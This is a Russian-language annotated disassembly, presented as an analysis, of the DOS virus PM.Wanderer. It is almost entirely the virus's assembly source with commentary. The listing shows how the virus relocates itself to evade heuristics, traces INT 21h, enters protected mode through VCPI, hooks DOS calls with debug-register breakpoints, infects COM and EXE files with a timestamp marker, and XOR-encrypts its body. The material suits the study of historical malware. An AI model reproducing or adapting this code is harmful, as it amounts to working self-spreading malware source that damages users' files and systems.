ZF

                           Анализ вируса PM.Wanderer
                                by Старый Ворчун 

; File: PM_WAND.COM
; File Type: COM
; Processor: 80386/387 16bit
; Range: 00100h to 00f65h
; Memory Needed:     4 Kb
; Initial Stack: 0000:fffe
; Entry Point: 0000:0100
; Subroutines:   25

.radix 16
.386p
cseg            segment para public 'CODE' USE16
                assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
                org     0100h
; >>>> нас вызывают здесь <<<<
                call    start ;<00103>          ;00100
;<00103> вирус-popup
start:
                pop     si                      ;тут мы
                sub     si,03                   ;начались si
                mov     di,0100h                ;все-таки com-файл
                cld     ;0010a                  ;уперед
                mov     ax,cs                   ;где код
                push    ds                      ;0010d
                mov     ds,ax                   ;там и данные
                mov     es,ax                   ;со стеком
                push    get_len                 ;вместо jmp
                mov     bx,00f0h                ;антиэвристика
                mov     WORD PTR [bx],0a4f2h    ;repnz movsb
                mov     WORD PTR [bx+02],0c361h ;popa и ret
                mov     cx,0e64h                ;а длиннющий
                pusha                           ;хороним
                jmp     bx                      ;запускаемся в PSP
                                                ;перемещаем себя в начало
;----------------Торговая марка----------------------
CopyRight       db      10,'WANDERER,(c) P. Demenuk',10 ;00127
;----------------Торговая марка----------------------
                get_len equ $
                pop     ax                      ;00140
                dec     ax                      ;00141
                mov     es,ax                   ;вытаскиваем MCB
                mov     bx,WORD PTR es:[3]      ;берем свою длину в пар-ах
                mov     WORD PTR ds:len_par,bx  ;00149
                inc     ax                      ;0014d
                mov     es,ax                   ;назад es
                jmp     short alloc             ;00150
cut:
                mov     bx,WORD PTR ds:len_par  ;из всего что есть
                sub     bx,0600h                ;-24К
                mov     ah,4ah                  ;откусить
                int     21h                     ;DOS:4a-modify memory block
                ;и еще раз
alloc:
                ;хочу осесть в памяти
                mov     bx,0500h                ;20К
                mov     ah,48h                  ;хочу у доски
                int     21h                     ;DOS:48-allocate memory
                jb      cut                     ;нету-сузим

                mov     es,ax                   ;es на полученный блок
                xor     di,di                   ;Load register w/ 0
                xor     si,si                   ;Load register w/ 0
                mov     cx,0800h                ;0016d
                mov     WORD PTR ds:cs_save,cs  ;00170
                repz    movsw                   ;переносимся туда
                push    cs                      ;на будущее
                push    ax                      ;где выделилось
                push    infect                  ;по смещению
                retf                            ;вместо jmp уходим в блок

                infect   equ $
                push    cs                      ;данные
                pop     ds                      ;на новый код
                cmp     BYTE PTR ds:exe_or_com,00 ;COM?
                jz      com_inf                  ;да
                mov     ah,62h
                int     21h                     ;get PSP этого EXE
                mov     es,bx                   ;на PSP
                mov     es,WORD PTR es:[2c]     ;а вот и окружение
                xor     di,di                   ;Load register w/ 0
                mov     cx,8000h                ;00192
                mov     al,01                   ;00195
                repnz   scasb                   ;ищем ком.строку
                inc     di                      ;встаем на нее
                push    es                      ;и
                pop     ds                      ;ds тудаже
                mov     ax,3d00h                ;0019c
                mov     dx,di                   ;0019f
                int     21h                     ;открываем себя
                xchg    ax,bx                   ;сохраняем handle
                pop     ds                      ;ds на код
                mov     ax,4200h
                mov     dx,WORD PTR cs:LoOfs    ;там
                mov     cx,WORD PTR cs:HiOfs    ;мы лежим
                int     21h ;001b2              ;DOS:42-move file pointer
                mov     ah,3fh                  ;001b4
                mov     cx,WORD PTR cs:d008d0   ;001b6
                xor     dx,dx ;001bb            ;Load register w/ 0
                int     21h ;001bd              ;DOS:3f-read file
                push    ds                      ;001bf
                push    cs                      ;001c0
                pop     ds                      ;001c1
                mov     ax,4200h                ;001c2
                mov     dx,WORD PTR ds:d008da   ;001c5
                xor     cx,cx ;001c9            ;Load register w/ 0
                int     21h ;001cb              ;DOS:42-move file pointer
                mov     cx,WORD PTR ds:d008d8   ;001cd
                shl     cx,1 ;001d1             ;Multiply by 2's
                shl     cx,1 ;001d3             ;Multiply by 2's
                mov     dx,1000h                ;001d5
                mov     ah,3fh                  ;001d8
                int     21h ;001da              ;DOS:3f-read file
                mov     ah,3eh                  ;001dc
                int     21h ;001de              ;DOS:3e-close file
                mov     si,1000h                ;001e0
                pop     ax                      ;001e3
                mov     cx,WORD PTR ds:d008d8   ;001e4
                jcxz    b001f7 ;001e8           ;Jump if CX = ZERO
b001ea:
                add     WORD PTR [si+02],ax     ;001ea
                les     di,DWORD PTR [si]       ;001ed
                add     WORD PTR es:[di],ax     ;001ef
                add     si,04                   ;001f2
                loop    b001ea ;001f5           ;Dec CX;Loop if CX>0

b001f7:         mov     WORD PTR ds:d00094,ax   ;001f7
com_inf:
                mov     ax,3567h                ;как там EMM
                int     21h                     ;DOS:35-get int vector
                cmp     WORD PTR es:[0ch],'XM'  ;сидит ли в памяти
                push    cs                      ;восстановить
                pop     es                      ;es
                jnz     NotEMM ;00208           ;EMM`a нет
                mov     ax,0babah               ;есть ли мы
                int     21h                     ;в доске
                cmp     ax,0fa00h               ;0020f
                jnz     NotMem                  ;мы не в памяти
                sti                             ;ура я дома
NotEMM:
                Not_EMM equ $
                mov     ah,49h                  ;освободить
                int     21h                     ;кандидатский блок
                cmp     BYTE PTR ds:exe_or_com,00 ;COM?
                jz      old_com                 ;нет
                mov     ax,WORD PTR ds:d00094   ;00220
                add     ax,WORD PTR ds:d008d6   ;00223
                push    ax                      ;00227
                push    WORD PTR ds:d008d4      ;00228
                mov     ax,WORD PTR ds:d00094   ;0022c
                sub     ax,0010h                ;0022f
                mov     es,ax                   ;00232
                mov     ds,ax                   ;00234
                jmp     short b0025d            ;00236
old_com:
                mov     sp,0fffeh               ;вертаем все
                push    0100h                   ;все
                pusha                           ;на место
                mov     si,WORD PTR ds:LoOfs    ;берем смещение в файле
                and     si,si                   ;нулевое?
                jz      exit                    ;тогда выход
                mov     di,0100h                ;00247
                add     si,di                   ;0024a
                cld                             ;Forward String Opers
                mov     es,WORD PTR ds:cs_save  ;0024d
                mov     ds,WORD PTR ds:cs_save  ;00251
                push    es                      ;00255
                push    00f0h                   ;00256
                mov     cx,WORD PTR ds:d008d0   ;00259
b0025d:
                mov     ah,4ah                  ;0025d
                mov     bx,WORD PTR cs:len_par  ;0025f
                int     21h ;00264              ;DOS:4a-modify memory block
                ret                             ;00266
exit:
                mov     ax,4c00h
                int     21h                     ;DOS:4c-terminate prg
NotMem:
                call    coder                   ;0026c
                call    trace                   ;0026f
                mov     ax,0de00h               ;VCPI установлен?
                call    EMMInt                  ;int67
                mov     WORD PTR ds:int20,sp    ;00278
                mov     WORD PTR ds:int20+2,ss    ;0027c
                mov     di,AdrPages             ;по адресу
                mov     cx,0004h                ;положить 4 адреса(16К)
GetPages:
                mov     ax,0de04h               ;выделенных EMM
                call    EMMInt                  ;страниц
                mov     DWORD PTR [di],edx      ;запомнили
                scasd                           ;DI+4
                loop    GetPages                ;Dec CX;Loop if CX>0

                mov     bx,cs                   ;готовим
                add     bx,0100h                ;адрес
                xor     bl,bl ;00299            ;буфера
                inc     bh                      ;страниц
                mov     es,bx                   ;es:di->для очистки
                mov     WORD PTR ds:Buf_GDT,bx  ;запомнили
                xor     ax,ax
                xor     di,di
                mov     cx,1000h                ;размером 4К
                repz    stosw                   ;буфер чист
                mov     ax,0de01h               ;взять адрес VCPI
                mov     ds,bx                   ;ds cегмент GDT
                inc     bh                      ;чуть дальше
                mov     es,bx                   ;буфер страниц
                xor     di,di ;002b5            ;es:di на него
                mov     si,0130h                ;ds:si на GDT(3 элемента)
                call    EMMInt                  ;int67
                push    cs                      ;ds
                pop     ds                      ;на место
                mov     DWORD PTR ds:BufPages,ebx

                xor     si,si                   ;в начало таблицы
                mov     cx,0400h                ;1024 дискриптора
                xor     bx,bx                   ;Load register w/ 0
SetTable:
                mov     eax,DWORD PTR es:[si]   ;в ax дескриптор
                cmp     eax,00                  ;это дескриптор?
                jnz     IsDesc                  ;не трогаем
                movzx   eax,bx                  ;расширяем bx в eax
                sal     eax,0ch                 ;пусть bx будет адресом
                mov     al,67h                  ;01100111
                ;биты параметров                 xDAxxUWP
                ;D-бит мусора (как-будто в страницу записали),
                ;A-бит доступа(как-будто сейчас проц с ней будет что-то делать)
                ;U-эта страница только для супервизора
                ;W-в нее можно писать
                ;P-страница в ОЗУ
                mov     DWORD PTR es:[si],eax   ;положить это в таблицу
IsDesc:
                add     si,04                   ;следующий дескриптор
                inc     bx                      ;счетчик
                loop    SetTable                ;Dec CX;Loop if CX>0

                mov     eax,DWORD PTR ds:AdrPages ;берем первую страницу
                mov     esi,eax
                mov     al,67h                  ;устанавливаем все что можно
                shr     esi,0ah                 ;получаем физический адрес
                mov     DWORD PTR es:[esi],eax  ;кладем новый дискриптор
                mov     WORD PTR ds:TSR_CS,cs   ;параметр
                call    GetUMB
                sidt    QWORD PTR ds:OldIDT     ;сохраняем таблицу int`ов
                sgdt    QWORD PTR ds:OldGDT     ;сохраняем гл.таблицу
                mov     esi,00000100h           ;смещение таблицы
                push    es                      ;сегмент UMB
                pop     ds                      ;на DS
                mov     cx,cs                   ;берем код
                movzx   ecx,cx                  ;база
                sal     ecx,04                  ;место для стека
                mov     ax,0008h                ;1-ый дескриптор
                mov     ebx,0000ffffh           ;предел 64К
                mov     dx,009ah                ;сегмент 16-раз-го
                                                ;кода в памяти
                push    ecx                     ;сохранить базу
                push    ebx                     ;сохранить предел
                call    SetDesc                 ;установить дескриптор
                mov     ax,0010h                ;2-ой дескриптор
                pop     ebx                     ;вытолкнуть предел
                pop     ecx                     ;вытолкнуть базу
                mov     dx,0092h                ;там же сегмент данных в памяти
                call    SetDesc                 ;установить дескриптор
                mov     ax,0018h                ;3-ий дескриптор
                xor     ecx,ecx ;00341          ;вверху стек
                mov     ebx,000000000h          ;на 4К
                mov     dx,8092h                ;установить
                call    SetDesc                 ;дескриптор
                ;один пропускаем
                mov     ax,0028h                ;5-ый дескриптор
                mov     cx,ds                   ;на UMB1
                movzx   ecx,cx                  ;база
                sal     ecx,04                  ;выровняли
                push    ecx                     ;заткнули
                add     ecx,10h                 ;смещение на 16 байт
                mov     dx,0089h                ;доступный TSS
                mov     ebx,00000067h           ;предел 103 байта
                call    SetDesc                 ;установить дескриптор
                pop     ecx                     ;вытолкнули базу
                add     ecx,00000100h           ;смещение
                push    cs                      ;ds
                pop     ds                      ;на место
                mov     DWORD PTR ds:d00f51,ecx ;запомнили
                cli                             ;Turn OFF Interrupts
                mov     ax,cs                   ;взяли код
                movzx   esi,ax                  ;раздули
                mov     ax,0de0ch               ;защищенный режим
                sal     esi,04                  ;выровняли
                add     esi,offset UMB1         ;
                int     67h                     ;EMM:переключиться
                jmp     short $-2               ;Защищенный режим >>----------+
;-----------------------------------------------------                        |
OldOfs1         dw      00                      ;смещение старого int1        |
OldSeg1         dw      00                      ;сегмент старого int1         |
SegSS           dw      00                      ;сегмент стека                |
SegSP           dw      00                      ;смещение в стеке             |
;-----------------------------------------------------                        |
Int1Hndl:                                                                     |
                push    bp                      ;грузим через стек            |
                push    ds                      ;сегмент                      |
                push    si                      ;смещение                     |
                mov     bp,sp                   ;в теле обработчика DOS       |
                lds     si,DWORD PTR [bp+06]    ;ахом                         |
                cmp     WORD PTR [si],9090h     ;нопы ?                       |
                jz      Nops                    ;да-ура                       |
                pop     si                      ;если нет                     |
                pop     ds                      ;то                           |
                pop     bp                      ;отваливаем                   |
                iret                            ;POP flags and Return         |
                                                                              |
                                                                              |
;<003b2>                                                                      |
trace           proc near                                                     |
                mov     ax,3501h                ;взять int 01                 |
                int     21h ;003b5              ;DOS:35-get int vector        |
                mov     WORD PTR ds:OldOfs1,bx  ;схоронили смещение           |
                mov     WORD PTR ds:OldSeg1,es  ;схоронили сегмент            |
                mov     dx,offset Int1Hndl      ;новый обработчик             |
                mov     ah,25h                  ;установить                   |
                int     21h    ;003c4           ;DOS:25-set int vector        |
                push    cs                      ;003c6                        |
                push    cs                      ;003c7                        |
                mov     WORD PTR ds:SegSS,ss    ;003c8                        |
                mov     WORD PTR ds:SegSP,sp    ;003cc                        |
                cld                             ;Forward String Opers         |
                pushf                           ;на случай не обнаружения DOS |
                pushf                           ;Push flags on Stack          |
                pop     ax                      ;вытаскиваем флаг             |
                or      ax,0100h                ;устанавливаем TF             |
                push    ax                      ;в стек его пока              |
                xor     ax,ax ;003d8            ;данные                       |
                mov     ds,ax                   ;на область векторов          |
                mov     ah,30h                  ;функция-версия DOS           |
                push    cs                      ;восстанавливаем              |
                pop     es                      ;es                           |
                popf          ;003e0            ;трассируем                   |
                call    DWORD PTR ds:[84]       ;эмулируем DOS                |
                pop     es                      ;восстановить                 |
                xor     ax,ax ;003e6            ;на область                   |
                mov     ds,ax                   ;векторов                     |
                mov     di,offset DOSSeg        ;мы <----+                    |
                mov     si,0084h                ;int21---+                    |
                movsw                           ;скопировать адреса           |
                movsw                           ;обработчиков                 |
                pop     ds                      ;вытащили оба cs`a            |
                push    cs                      ;для es и ret`a надо положить |
                jmp     short TraceOff                                        |
Nops:                                                                         |
                mov     ss,WORD PTR cs:SegSS    ;восстанавливаем              |
                mov     sp,WORD PTR cs:SegSP    ;свой стек                    |
                mov     si,WORD PTR [si+08]     ;устанавливаемся на DOS       |
                lodsw                           ;вытаскиваем сегмент          |
                mov     WORD PTR cs:DOSSeg,ax   ;00404                        |
                lodsw                           ;вытаскиваем смещение         |
                pop     ds                      ;восстановить ds              |
                mov     WORD PTR ds:DOSOfs,ax   ;0040a                        |
TraceOff:                                                                     |
                xor     ax,ax ;0040d            ;на область прерываний        |
                mov     es,ax                   ;es                           |
                mov     di,0004h                ;int1<---+                    |
                mov     si,0398h                ;intE6---+                    |
                movsw                           ;скопировать                  |
                movsw                           ;адрес обработчика            |
                pop     es                      ;восстановить                 |
                ret                             ;ret из trace                 |
;-----------------------------------------------------                        |
;>>           PROTECT MODE ENTERY POINT             <<------------------------+
;-----------------------------------------------------
                mov     ax,0010h                ;устанавливаемся
;<ss = 0010>
                mov     ss,ax                   ;на выделенные нам сегменты
                mov     sp,1000h                ;стека
;<es = 0010>
                mov     es,ax
                mov     ax,0018h
;<ds = 0018>
                mov     ds,ax                   ;и данных
                mov     esi,DWORD PTR es:OldGDT+2 ;база старой таблицу
                movzx   ecx,WORD PTR es:OldGDT    ;предел старой таблицы
                inc     ecx                     ;вычисляем
                shr     ecx,03                  ;кол-во дескрипторов
                xor     bx,bx                   ;Load register w/ 0
                xor     eax,eax                 ;Load register w/ 0
cycle_gdt:
                add     esi,08                    ;следующий
                add     bx,08                     ;счетчик
                cmp     eax,DWORD PTR [esi+04]    ;конец ли
                jnz     more_d                    ;нет
                mov     WORD PTR es:OurDesc,bx    ;запомнили номер дескриптора
                mov     ebx,00000fffh             ;предел
                mov     ecx,DWORD PTR es:AdrPages ;то что мы выделяли
                mov     dx,009bh                  ;сегмент кода
                call    SetDesc                   ;установить дескриптор
                add     esi,08                    ;следующий
                xor     ecx,ecx                   ;сегмент данных
                mov     ebx,000000000h            ;4К
                mov     dx,8092h
                call    SetDesc
                jmp     short out_loop          ;вываливаемся
more_d:         loop    cycle_gdt               ;крутимся
                jmp     short $-2               ;таблица полна - висим
out_loop:
                mov     esi,00100000h           ;ищем
nxt_page:
                add     esi,00001000h           ;странички
                cmp     DWORD PTR [esi],67h     ;которые в памяти
                jnz     nxt_page                ;нет - дальше
                cmp     DWORD PTR [esi+04],1067h
                jnz     nxt_page
                mov     DWORD PTR es:ram_page,esi
                movzx   eax,WORD PTR ds:[84]    ;смещение DOS
                movzx   ebx,WORD PTR ds:[86]    ;сегмент DOS
                sal     ebx,04
                add     eax,ebx
                mov     DWORD PTR es:int21adr,eax
                call    set_brk                 ;стопоримся на нее
                mov     BYTE PTR es:Buf_GDT+2,00  ;004c0
                mov     eax,DWORD PTR es:AdrPages ;наша страница
                mov     ebx,eax
                mov     al,67h                  ;в памяти
                shr     ebx,0ah                 ;физический адрес
                mov     DWORD PTR [esi+ebx],eax ;каталог+таблица=дескриптор
                mov     di,int1_ptr             ;туда мы положим
                mov     ecx,00000001h           ;int1
                mov     ax,offset new_int1      ;новый обработчик
                call    set_idt                 ;установить
                add     di,06                   ;перешагиваем старое int1
                mov     ecx,00000009h           ;int9
                mov     ax,offset new_int9      ;новый обработчик
                call    set_idt                 ;установить
                push    es                      ;их
                push    ds                      ;поменяли
                pop     es                      ;местами
                pop     ds
                xor     esi,esi                 ;Load register w/ 0
                mov     edi,DWORD PTR ds:AdrPages
                cld                             ;Forward String Opers
                mov     ecx,00000400h           ;1024 дескриптора
                repz    movsd                   ;перекачать
                movzx   eax,WORD PTR ds:int20   ;в ax-адрес выхода
                mov     bx,WORD PTR ds:TSR_CS   ;наш сегмент внизу
                ;cx=0
                push    cx                      ;cs:0
                push    bx                      ;в стек
                push    cx                      ;cs:0
                push    bx                      ;в стек
                push    cx                      ;cs:0
                push    bx                      ;в стек
                push    cx                      ;cs:0
                push    bx                      ;в стек
                push    cx                      ;адрес выхода
                push    WORD PTR ds:int20+2     ;в стек
                push    es                      ;S
                push    ds                      ;W
                pop     es                      ;A
                pop     ds                      ;P
                push    eax                     ;адрес выхода в стек
                pushfd                          ;Push flags on Stack
                push    cx                      ;cs:0
                push    bx                      ;в стек
                push    00                      ;адрес
                push    Not_EMM                 ;входа в код
                movzx   esp,sp                  ;сдуть sp
                mov     ax,0de0ch               ;00538
                call    FWORD PTR cs:BufPages   ;перейти
new_int9:
                push    eax                     ;будем портить
                mov     ax,dr7                  ;управление отладкой
                and     ax,030ah                ;разрешен останов?
                cmp     ax,030ah                ;да
                jz      break_ok                ;далее
                call    set_brk                 ;устанавливаем точки останова
break_ok:
                in      al,60h                  ;что нажали?
                cmp     al,53h ;(S)             ;POP_KEY
                jnz     old_int9                ;не то
                call    set_ds                  ;установить ds
                mov     al,BYTE PTR ds:state_kbd
                and     al,0ch                  ;проверяем состояние
                cmp     al,0ch                  ;оно
                jnz     old_int9                ;на старое
                xor     eax,eax                 ;нет
                mov     dr7,ax                  ;отключить останов
old_int9:
                pop     eax
                jmp     FWORD PTR cs:int9_ptr
old_int1:
                pop     eax
                jmp     FWORD PTR cs:int1_ptr
new_int1:
                push    eax                     ;будем портить
                mov     ax,dr6                  ;состояние отладки
                test    al,03 ;0057e            ;условия останова наши
                jz      old_int1                ;нет-на старый
                test    al,02 ;00582            ;перезагрузка?
                jz      dos_brk                 ;нет-значит DOS
                xor     eax,eax ;00586          ;да
                mov     dr7,ax                  ;все отменяем
                pop     eax
                iretd                           ;и отваливаем
dos_brk:
                xor     eax,eax                 ;сбросить
                mov     dr6,ax                  ;состояния
                pop     eax
                or      BYTE PTR [esp+esp+0ah],01 ;установиьт флаг
                cmp     ax,0babah                 ;нашa ф-ция БАБА
                jnz     other_func                ;другая ф-ция DOS
                mov     ax,0facch                 ;да мы в памяти
end_int:
                iretd                           ;POP flags and Return
other_func:
                cmp     ax,3506h                ;дать int6
                je      get_int6

                cmp     ax,4b00h                ;запуск
                jz      exec_open

                cmp     ah,3dh                  ;открыть файл
                jnz     end_int
                test    al,0fh                  ;на запись
                jnz     end_int
exec_open:
                cmp     BYTE PTR cs:busy,01     ;качать?
                je      is_time                 ;да
                pushad                          ;нет
                call    set_ds
                mov     es,ax                   ;es на ds
                mov     ecx,DWORD PTR cs:AdrPages ;наш адрес
                xor     ebp,ebp ;005d4          ;1-ый дескриптор
                mov     esi,00000090h
save_desc:
                mov     edx,DWORD PTR cs:[AdrPages+4+ebp*4]
                call    desc_edx                ;установить новый
                ;сохранить старый
                mov     DWORD PTR [ecx+ebp*4+AdrPages+10h],ebx
                inc     esi
                inc     bp
                cmp     bp,03
                jnz     save_desc

                mov     esi,DWORD PTR cs:AdrPages
                mov     edi,00090000h           ;там же
                mov     BYTE PTR [esi+busy],01  ;заняты
                mov     DWORD PTR [esi+44h],esp ;законный обработчик int21
                cld                             ;Forward String Opers
                mov     ecx,00000400h           ;1024 дескриптора
                repz    movsd                   ;закачать(резервируем)
                mov     ax,ss                   ;ds
                mov     ds,ax                   ;на стек
                mov     esi,esp                 ;esi на параметры
                mov     edi,DWORD PTR cs:AdrPages
                mov     ecx,00000011h           ;17 байт
                repz    movsd  ;00632           ;в стек
                popad                           ;извлечь
                mov     eax,00009000h           ;00638
                push    eax                     ;0063e
                push    eax                     ;00640
                push    DWORD PTR [esp+esp+20h] ;00642
                push    DWORD PTR [esp+esp+20h] ;00648
                push    eax                     ;0064e
                push    00000ffeh               ;ты будешь sp
                push    00023000h               ;00656
                push    eax                     ;0065c
                mov     eax,body1               ;ты будешь ip
                push    eax                     ;00664
                iretd                           ;POP flags and Return
get_int6:
                pushad
                mov     bx,cs                   ;ds
                mov     ds,bx                   ;на cs
                add     bx,8                    ;чуть дальше
                mov     es,bx                   ;es
                mov     esi,offset data_49      ;si=6c6
                mov     bp,2
                cld                             ;уперед
loc_26:
                mov     edi,90000h              ;куда
                mov     eax,[si]                ;читаем
loc_27:
                dec     edi                     ;не все ли
                jz      short loc_28            ;да
                cmp     es:[edi],eax            ;нет-сличаем
                jne     loc_27                  ;пока не равно

                movzx   ebx,byte ptr [si+4]     ;др.адресочек
                mov     edx,[si+5]              ;и др.байтик
                cmp     es:[edi][ebx],edx       ;сличаем
                jne     loc_27                  ;нет-далее
                movsx   ebx,byte ptr [si+9]
                add     edi,ebx
                movzx   ecx,byte ptr [si+0Ah]
                add     si,0Bh                  ;длина блока
                rep     movs byte ptr es:[edi],[esi] ;пока cx>0 Mov [si] to es:[di]
                jmp     short loc_29            ;нашли-помаемся еще раз
loc_28:
                movzx   ax,byte ptr [si+0Ah]    ;кол-во блоков
                add     si,ax                   ;сдвинули
                add     si,0Bh                  ;длина блока
loc_29:
                dec     bp                      ;еще попытка
                jnz     loc_26                  ;не последняя-вперед
                jmp     end_21                  ;последняя-отваливаем
;-----------------------------------------------
data_49         dd      8132C683h      ;06C6
                db      0Ah            ;+4
                dd      9A9C4E68h      ;+5
                db      0Dh            ;+9
                db      02h            ;+a
                dd      568D03EBh      ;06D1
                db      0D6h           ;+4
                db      89360503h      ;+5
                dd      07h            ;+9
                db      8Bh            ;+a
                db      0FCh
                db      11h,0D1h       ;xor ax,ax
                db      0E6h, 83h      ;in al,83h
;-----------------------------------------------
                dec     BYTE PTR [bp+si]        ;006e1
                jnz     b006e7 ;006e3           ;Jump not equal(ZF=0)
                xor     ax,ax ;006e5            ;Load register w/ 0
b006e7:         mov     WORD PTR [bp+si-2ah],ax ;006e7
                shr     si,1 ;006ea             ;Divide by 2's
                add     al,06                   ;006ec
                xchg    ax,bx                   ;006ee

                body1   equ $
                xor     ax,ax                   ;будем искать
                mov     di,dx                   ;ds:dx на имя файла
                mov     cx,0041h                ;max
                push    ds                      ;es:di
                pop     es                      ;на строку
                cld                             ;Forward String Opers
                repnz   scasb                   ;ищем
                jcxz    no_look
                jmp     short ive_got
no_look:
                jmp     call_int
ive_got:
                mov     ax,WORD PTR [di-04]     ;расширение
                ;'EX'=5845h, 'CO'=4f43h
                and     ax,0f0fh                ;масочку
                cmp     ax,0f03h                ;м.б. COM
                jz      exe_com

                cmp     ax,0805h                ;м.б. EXE
                jz      exe_com
                jmp     call_int
exe_com:
                mov     si,di
                sub     si,06                   ;перед точкой
                ;на 8-ом символе стоим
                std                             ;Backwards String Ops
                mov     cx,0007h                ;максимум (8 символов)
                xor     bx,bx
nxt_char:
                lodsb                           ;взяли
                and     al,1fh                  ;маску
                add     bl,al                   ;копим
                loop    nxt_char

                cld                             ;Forward String Opers
                cmp     bl,3fh                  ;это COMMAND?
                jnz     can_infect              ;нет - заражаем
                jmp     call_int
can_infect:
                mov     ax,3d02h                ;открыть для r/w
                call    DOSInt
                xchg    ax,bx                   ;описатель в bx
                push    cs
                push    cs
                pop     ds
                pop     es
                call    GetTime
                mov     ax,5700h                ;взять дату/время файла
                call    DOSInt
                mov     WORD PTR ds:date_file,dx
                mov     WORD PTR ds:time_file,cx
                and     cl,1fh                  ;признак заражения
                cmp     cl,11h                  ;да?
                jz      close_file              ;отваливаем

                and     BYTE PTR ds:time_file,0e0h ;нет
                or      BYTE PTR ds:time_file,11h  ;устанавливаем признак
                mov     dx,2000h                ;буфер
                mov     ah,3fh                  ;читать из файла
                mov     cx,1000h                ;4К
                call    DOSInt
                cmp     ax,1000h                ;мы их прочли
                jnz     close_file              ;нет-отвалили

                call    ToEOF                   ;да-в конец файла
                mov     WORD PTR ds:LoOfs,ax    ;схоронили
                mov     WORD PTR ds:HiOfs,dx    ;смещение
                cmp     ax,0f000h               ;мы умещаемся?
                ja      close_file              ;нет-отвалить

                cmp     WORD PTR ds:buf_file,5a4dh ;EXE-шник
                jz      exe_write                  ;да
                mov     BYTE PTR ds:exe_or_com,00  ;COM
                call    s6 ;<0087c>             ;0078a
                push    cx                      ;0078d
                mov     ah,40h                  ;0078e
                mov     dx,2000h                ;00790
                call    DOSInt ;<0086e>             ;00793
                call    ToBOF ;<00858>             ;00796
                pop     cx                      ;00799
                mov     ah,40h                  ;0079a
                mov     dx,1000h                ;0079c
                call    DOSInt ;<0086e>             ;0079f
m007a2:
                mov     cx,WORD PTR ds:time_file
                mov     dx,WORD PTR ds:date_file
                mov     ax,5701h                ;установить дату/время
                call    DOSInt
close_file:
                mov     ah,3eh                  ;закрыть
                call    DOSInt
call_int:
                mov     ax,4b00h                ;вызываем обработчик
                int     21h                     ;DOS:4b-execute prg
exe_write:
                cmp     WORD PTR ds:PageCnt,05   ;007ba
                jb      close_file ;007bf           ;Jump if <  (no sign)
                cmp     WORD PTR ds:MaxMem,-01  ;007c1
                jnz     close_file ;007c6           ;Jump not equal(ZF=0)
                mov     BYTE PTR ds:exe_or_com,01   ;007c8
                xor     ax,ax ;007cd            ;Load register w/ 0
                xchg    ax,WORD PTR ds:ReloCnt   ;007cf
                mov     WORD PTR ds:d008d8,ax   ;007d3
                cmp     ax,1000h                ;007d6
                ja      close_file ;007d9           ;Jump if >  (no sign)
                mov     ax,WORD PTR ds:TablOff   ;007db
                mov     WORD PTR ds:d008da,ax   ;007de
                mov     eax,DWORD PTR ds:LoOfs ;007e1
                movzx   ecx,WORD PTR ds:HdrSize  ;007e5
                sal     ecx,04                  ;007eb
                sub     eax,ecx                 ;007ef
                cmp     eax,00001000h           ;007f2
                jb      close_file ;007f8           ;Jump if <  (no sign)
                mov     si,2014h                ;007fa
                mov     di,08d4h                ;007fd
                movsw    ;00800                 ;Mov DS:[SI]->ES:[DI]
                movsw    ;00801                 ;Mov DS:[SI]->ES:[DI]
                xor     ax,ax ;00802            ;Load register w/ 0
                mov     di,2014h                ;00804
                stosw    ;00807                 ;Store AX at ES:[DI]
                stosw    ;00808                 ;Store AX at ES:[DI]
                call    ToBOF ;<00858>             ;00809
                mov     cx,0100h                ;0080c
                mov     ah,40h                  ;0080f
                mov     dx,2000h                ;00811
                call    DOSInt ;<0086e>             ;00814
                xor     cx,cx ;00817            ;Load register w/ 0
                mov     dx,WORD PTR ds:HdrSize   ;00819
                sal     dx,04                   ;0081d
                push    dx                      ;00820
                mov     ax,4200h                ;00821
                call    DOSInt ;<0086e>             ;00824
                mov     dx,2000h                ;00827
                mov     ah,3fh                  ;0082a
                mov     cx,1000h                ;0082c
                call    DOSInt ;<0086e>             ;0082f
                call    s6 ;<0087c>             ;00832
                pop     dx                      ;00835
                push    cx                      ;00836
                xor     cx,cx ;00837            ;Load register w/ 0
                mov     ax,4200h                ;00839
                call    DOSInt ;<0086e>             ;0083c
                mov     ah,40h                  ;0083f
                pop     cx                      ;00841
                push    cx                      ;00842
                mov     dx,1000h                ;00843
                call    DOSInt ;<0086e>             ;00846
                call    ToEOF ;<00863>             ;00849
                pop     cx                      ;0084c
                mov     dx,2000h                ;0084d
                mov     ah,40h                  ;00850
                call    DOSInt ;<0086e>             ;00852
                jmp     m007a2                  ;00855
trace           endp

;<00858>
ToBOF           proc near
                ;переместить указатель на начало файла
                mov     ax,4200h                ;LSEEK
                xor     dx,dx                   ;Load register w/ 0
                xor     cx,cx                   ;Load register w/ 0
                call    DOSInt                  ;int21
                ret                             ;00862
ToBOF           endp

;<00863>
ToEOF           proc near
                ;переместить указатель на конец файла
                xor     dx,dx                   ;Load register w/ 0
                xor     cx,cx                   ;Load register w/ 0
                mov     ax,4202h                ;LSEEK
                call    DOSInt                  ;int21
                ret                             ;0086d
ToEOF           endp

;<0086e>
DOSInt          proc near
                ;эмулим DOS
                pushf                           ;Push flags on Stack
                db      09ah                    ;FAR call in non-EXE
DOSSeg:         dw      0
DOSOfs:         dw      0
                jnb     DOSOk                   ;есть ошибки
                mov     ax,4b00h
                int     21h                     ;DOS:4b-execute prg
DOSOk:          ret                             ;отваливаем
DOSInt          endp

;<0087c>
s6              proc near
                push    bx                      ;схоронить handle
                mov     ax,0ffffh               ;-1
                call    get_key
                mov     WORD PTR ds:key,ax      ;ключ
                call    coder                   ;кодируем
                mov     si,0100h                ;туда
                mov     bp,si                   ;хороним
                mov     cx,int1_ptr-2-100h      ;наша общая длина
                mov     di,1000h                ;те прочитанных 4К
                mov     ax,0160h                ;00894
                mov     bx,si                   ;00897
                pusha                           ;00899
                push    WORD PTR ds:HHMM      ;0089a
                push    WORD PTR ds:SSMS      ;0089e
                call    s8 ;<008dc>             ;008a2
                mov     WORD PTR ds:d008d0,cx   ;008a5
                pop     WORD PTR ds:SSMS      ;008a9
                pop     WORD PTR ds:HHMM      ;008ad
                popa                            ;008b1
                call    s8 ;<008dc>             ;008b2
                call    coder ;<008ba>             ;008b5
                pop     bx                      ;008b8
                ret                             ;008b9
s6              endp

;<008ba>
coder           proc near
                pusha                           ;схоронить
                mov     si,body1                ;шифруемый
                mov     cx,00c6h                ;длиной
                mov     ax,WORD PTR ds:key      ;ключ
cod_cycl:
                xor     WORD PTR [si],ax        ;ксорим
                inc     si                      ;дале
                inc     si                      ;дале
                loop    cod_cycl                ;лупим
                popa                            ;востановить
                ret
;-----------------------------------------------------
